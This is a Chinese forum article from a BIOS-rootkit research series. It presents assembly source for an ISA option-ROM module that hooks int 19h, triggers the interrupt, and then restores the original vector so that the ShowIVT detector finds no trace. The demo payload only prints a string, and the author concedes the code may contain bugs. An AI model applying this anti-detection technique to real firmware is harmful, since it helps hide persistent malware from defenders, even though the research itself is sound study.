• 标 题:BIOS Rootkit实现分析与检测技术研究系列之--直接调用中断向量躲避IVT Hook检测程序
  • 作 者:ppanger
  • 时 间:2008-12-18 17:45
  • 链 接:http://bbs.pediy.com/showthread.php?t=78937

BIOS Rootkit实现分析与检测技术研究系列之--直接调用中断向量躲避IVT Hook检测程序



本节目录
1. 引言
2. 问题提出
3. 程序实现
4. 小结


引言

    读过这个系列前面文章的朋友,对IVT Hook检测都有了总体的认识。在IVT Hook检测系列的最后,我们对检测程序ShowIVT提出了质疑。能否找到一些办法来躲避ShowIVT的检测呢?这里我们讨论两种方法。在这篇文章中,我们讨论第一种方法,即通过直接调用中断向量的方法来躲避IVT Hook检测程序。本文只进行技术研究,文中涉及到的技术有一定的危害性,请不要利用文中技术从事任何触犯法律法规的活动。否则一切后果由用户自行承担,与本文作者无关。


问题提出

      以IceLord程序为代表的BIOS Rootkit都采用IVT Hook的方式来取得对CPU流程的控制。这类BIOS Rootkit在对IVT进行Hook操作后,会在IVT上留下Hook后的痕迹,即中断向量值会与原始的中断向量值不同。这样能被ShowIVT.bin这样的IVT Hook检测程序所检测到(详见前面的系列文章)。
    为了躲避IVT Hook检测程序,BIOS Rootkit可以在自定义的ISA模块先hook int 19h,然后主动调用int 19h中断,触发我们的自定义程序,再在自定义的程序中完成对int 19h原始中断向量值的写回操作,即unhook。这样在ISA模块中我们既完成了hook int 19h再hook int 13h的操作,又避免了在Hook IVT会在IVT留下Hook痕迹的弊端,可谓一举两得。下面我们编写程序来验证。


程序实现

      程序Int19h_2.asm在其主函数begin中完成hook int 19h的工作,并主动调用int 19h中断来出发我们的自定义中断例程OurInt19h。而在中断例程OurInt19h函数中,我们在完成特定工作后(如继续Hook int 13h,这里我们并没有实现,只是简单显示一个字符串来进行验证),又恢复原始的int 19h中断向量,即完成unhook的工作。系统继续正常运行,好像什么都没有发生一样。程序如下:


;--------------------------------------------------------------
;
; Int19h_2.asm 

; by Jacky Peng 2008.8.8
;
; 直接调用int 19h中断来躲避ShowIVT的hook检查
;
;--------------------------------------------------------------


;restore origin int 19h   
    old_int19h  equ  85h*4
    
    
;org head
  org  0

;isa rom head
    dw 0aa55h
    db 01h
    
;jmp begin of program
    jmp  begin
 
  
    
;---------------------------- 字符串常量 ------------------------------
msgShow    db  'Our own Int 19h procedure!',0    
;----------------------------------------------------------------------


;-------------------------------- 实用子程序 来自romos项目 ----------------------------

;----------------------------- 打印16进制(字)--------------------
whexw:  
  xchg  dh,dl    
  call  whexb    
  xchg  dh,dl    
  call  whexb    
  ret      

;----------------------------- 打印16进制(字节)------------------
whexb:  
  push  ax    
  push  dx
  pushf
  mov    dh,dl
  and    dl,00fh   
  and    dh,0f0h   
  ror    dh,4    
  call  @whb1    
  mov    dh,dl
  call  @whb1    
  popf
  pop    dx
  pop    ax
  ret
@whb1:  
  cmp    dh,0ah  
  jc    @whb2    
  add    dh,7    
@whb2:  
  add    dh,'0'    
  mov    ah,0eh    
  mov    al,dh    
  int    10h    
  ret      

;----------------------------- 打印字符串 ------------------------
write:  
  pusha      
  pushf      
  push  bx    
  call  wherexy   
  mov    ah,9    
  xor    cx,cx    
  xchg  cl,bh    
  and    cl,7fh    
@wri1:  
  mov    al,[cs:si]  
  cmp    al,0    
  je    @wri2    
  int    10h    
  inc    si    
  inc    dl    
  call  gotoxy    
  jmp    short @wri1  
@wri2:  
  pop    bx    
  cmp    bh,80h    
  js    @wri3    
  popf      
  popa      
wcrlf:  
  pusha      
  pushf      
  mov    ax,0e0dh  
  xor    bl,bl    
  int    10h    
  mov    al,0ah    
  int    10h    
@wri3:  
  popf      
  popa      
  ret      
  
;----------------------------- 打印16进制地址(DX:CX) ------------------------  
whexptr:
  push  ax    
  push  bx    
  call  whexw    
  xchg  dx,cx    
  xor  bl,bl    
  mov  ax,0e3ah  
  int  10h    
  call  whexw    
  xchg  dx,cx    
  pop  bx    
  pop  ax
  ret      

;----------------------------- 调整光标位置-----------------------
wherexy:
  push  ax    
  push  bx
  push  cx
  mov    ah,3    
  mov    bh,0    
  int    10h    
  pop    cx    
  pop    bx
  pop    ax
  ret      


;----------------------------- 调整光标位置-----------------------
gotoxy: 
  push  ax    
  push  bx    
  mov    ah,2    
  mov    bh,0    
  int    10h    
  pop    bx
  pop    ax
  ret      
  

;----------------------------- 延迟函数 -----------------------  
delay:        
  sti      
  push  ax    
  push  es    
  pushf
  push  byte 0    
  pop    es    
  mov    al,[es:046ch]  
  add    ah,al    
@dly1:  
  mov    al,[es:046ch]  
  cmp    ah,al    
  jne    @dly1    
  popf
  pop    es    
  pop    ax    
  ret      

;-------------------------------- 实用子程序完 来自romos项目 --------------------------



;-------------------------------- 自定义的int 19h中断例程 --------------------------
OurInt19h:
  pushf
  pusha
  
  ; 运行自定义程序,这里进行简单的字符串显示  
  call  wcrlf
  mov    si,msgShow
  mov    bx,810eh
  call  write 
  mov    ah,20
  call  delay
  
  push  es
  push  si
  push  di
  push  cx
  push  dx
  
  push  byte 0
  pop    es
  mov    si,19h*4
  mov    di,old_int19h
  
  mov    cx,[es:di]
  mov    [es:si],cx
  mov    dx,[es:di+2]
  mov    [es:si+2],dx        ; 恢复int 19h原始中断向量

    call     wcrlf
  call  whexptr
  call  wcrlf  
    
  pop    dx
  pop    cx
  pop    di
  pop    si
  pop    es
  
  popa
    
  
  mov    ax,[es:si+2]
  push  ax
  mov    ax,[es:si]
  push  ax
  
  iret                ; 恢复到int 19h原始地址运行
;-----------------------------------------------------------------------------------



;----------------------------- 主程序(Hook Int 19h程序来自romos项目)-----------------

begin:
  pushf
  pusha
  
  mov    ax,0
  mov    es,ax
  
  mov    si,19h*4
  mov    di,old_int19h
  
  mov    cx,[es:si]
  mov    [es:di],cx
  mov    dx,[es:si+2]
  mov    [es:di+2],dx        ; 保存
  
  mov    [es:di-1],byte 0eah
  mov    [es:si],word OurInt19h
  mov    [es:si+2],cs        ; hook
      
  popa
  popf
  
  int    19h              ; 主动调用int 19h中断
  
  retf  

;----------------------------- 主程序结束 --------------------------

times  512-($-$$) db 0

;---------------------------------------------------------------------


    在OurInt19h函数中,有一个跳转到原始int 19h中断向量执行的程序段,如下:

;---------------------------------------------------------------------
                mov  ax,[es:si+2]
  push  ax
  mov  ax,[es:si]
  push  ax
  
  iret  ; 恢复到int 19h原始地址运行
;---------------------------------------------------------------------

    我们使用到一个小技巧,就是iret语句的用法。iret语句其实相当于以下几条语句的组合:

;---------------------------------------------------------------------
                pop    ip
  pop    cs
                popf
;---------------------------------------------------------------------

      我们预先把装有int 19h原始中断向量的值压入堆栈(两条push语句),iret执行后就顺理成章的把int 19h原始中断向量值,从堆栈中弹出到IP和CS寄存器中。在OurInt19h函数开始使用了pushf语句,用于保存所有标志寄存器的值,在pop ip和pop cs完成后,又用popf恢复所有标志寄存器的值以达到堆栈平衡。这样程序就可以成功跳入int 19h原始中断向量继续执行。在ShowIVT程序看来,检测结果一切正常。
    配置.bxrc配置文件,同时加载我们的Int19h_2.bin和ShowIVT.bin进行测试(具体操作步骤请参考前面的系列文章),测试结果如下图所示:



      从图中显示结果可以看出:我们自定义的int 19h中断例程成功运行(显示字符串),而在ShowIVT的检测结果中却未能发现int 19h中断hook操作的痕迹(还是默认的F000:E6F2)。我们的目的成功达到。


小结

    在前面系列介绍 ShowIVT 的文章中,我们还说int 19h中断不能进行写回操作,这里又抱石头砸自己的脚。无奈,技术更新,总让人前后矛盾的。这种技术需要特别小心堆栈平衡。Int19h_2.asm程序中好像存在一些bug。恳请请大牛们指点。



待续...